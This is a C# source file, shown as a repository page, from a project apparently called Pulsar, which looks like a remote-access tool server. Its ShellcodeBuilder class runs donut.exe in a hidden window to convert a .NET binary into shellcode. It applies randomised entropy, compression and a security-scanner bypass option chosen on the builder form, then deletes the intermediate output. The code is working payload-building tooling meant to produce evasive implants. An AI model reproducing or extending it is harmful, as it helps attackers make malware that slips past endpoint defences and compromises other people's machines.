Files
i2p 773d05f8f1
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run
initial commit
2026-08-27 10:57:58 -06:00

174 lines
4.9 KiB
C#

using System;
using System.Diagnostics;
using System.IO;
using System.Collections.Generic;
using System.Windows.Forms;
using Pulsar.Server.Forms;
namespace Pulsar.Server.Helper
{
public enum EntropyLevel
{
None = 1,
Random = 2,
RandomSymmetric = 3
}
public enum Architecture
{
x86 = 1,
amd64 = 2,
Both = 3
}
public enum Format
{
Binary = 1,
Base64 = 2,
C = 3,
Ruby = 4,
Python = 5,
Powershell = 6,
CSharp = 7,
Hex = 8
}
public enum Compress
{
None = 1,
aPLib = 2,
LZNT1 = 3,
Xpress = 4
}
public enum Bypass
{
None = 1,
Abort = 2,
Continue = 3
}
public enum Headers
{
Overwrite = 1,
Keep = 2
}
public static class ShellcodeBuilder
{
public static byte[] GenerateShellcode(
string binaryPath,
string entryClass,
string entryMethod,
string outputBinPath,
bool deleteOutput = true,
string donutExePath = "",
string clrVersion = "",
EntropyLevel entropy = EntropyLevel.RandomSymmetric,
Architecture arch = Architecture.Both,
Format format = Format.Binary,
Headers headers = Headers.Overwrite
)
{
if (string.IsNullOrEmpty(donutExePath))
donutExePath = Path.Combine(Path.GetDirectoryName(System.Reflection.Assembly.GetExecutingAssembly().Location), "donut.exe");
if (!File.Exists(donutExePath))
throw new FileNotFoundException("donut.exe not found", donutExePath);
if (!File.Exists(binaryPath))
throw new FileNotFoundException("Input Binary not found", binaryPath);
Compress compression = GetCompressionFromForm();
Bypass bypass = GetBypassFromForm();
List<string> args = new List<string>
{
$"-e {(int)entropy}",
$"-a {(int)arch}",
$"-i {binaryPath}",
$"-c {entryClass}",
$"-m {entryMethod}",
$"-o {outputBinPath}",
$"-f {(int)format}",
$"-z {(int)compression}",
$"-b {(int)bypass}",
$"-k {(int)headers}",
};
if (!string.IsNullOrEmpty(clrVersion))
args.Add($"-r {clrVersion}");
ProcessStartInfo psi = new ProcessStartInfo
{
FileName = donutExePath,
Arguments = string.Join(" ", args),
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false,
CreateNoWindow = true,
WindowStyle = ProcessWindowStyle.Hidden
};
using (Process proc = Process.Start(psi))
{
proc.WaitForExit();
if (proc.ExitCode != 0)
{
string stdout = proc.StandardOutput.ReadToEnd();
string stderr = proc.StandardError.ReadToEnd();
throw new InvalidOperationException($"Donut failed (exit {proc.ExitCode})\nSTDOUT: {stdout}\nSTDERR: {stderr}");
}
}
try
{
byte[] bytes = File.ReadAllBytes(outputBinPath);
if (deleteOutput)
File.Delete(outputBinPath);
return bytes;
}
catch (Exception ex)
{
throw new InvalidOperationException($"Failed to read generated shellcode: {ex.Message}");
}
}
private static Compress GetCompressionFromForm()
{
FrmBuilder form = GetBuilderForm();
string compressionText = form.comboBox1.Text;
return ConvertCompressionTextToEnum(compressionText);
}
private static Bypass GetBypassFromForm()
{
FrmBuilder form = GetBuilderForm();
return form.checkBox2.Checked ? Bypass.Continue : Bypass.None;
}
private static FrmBuilder GetBuilderForm()
{
foreach (Form form in Application.OpenForms)
{
if (form is FrmBuilder builderForm)
return builderForm;
}
throw new InvalidOperationException("FrmBuilder form not found or not accessible");
}
private static Compress ConvertCompressionTextToEnum(string compressionText)
{
return compressionText switch
{
"None" => Compress.None,
"aPLib" => Compress.aPLib,
"LZNT1" => Compress.LZNT1,
"Xpress" => Compress.Xpress,
_ => throw new ArgumentException($"Invalid compression type: {compressionText}")
};
}
}
}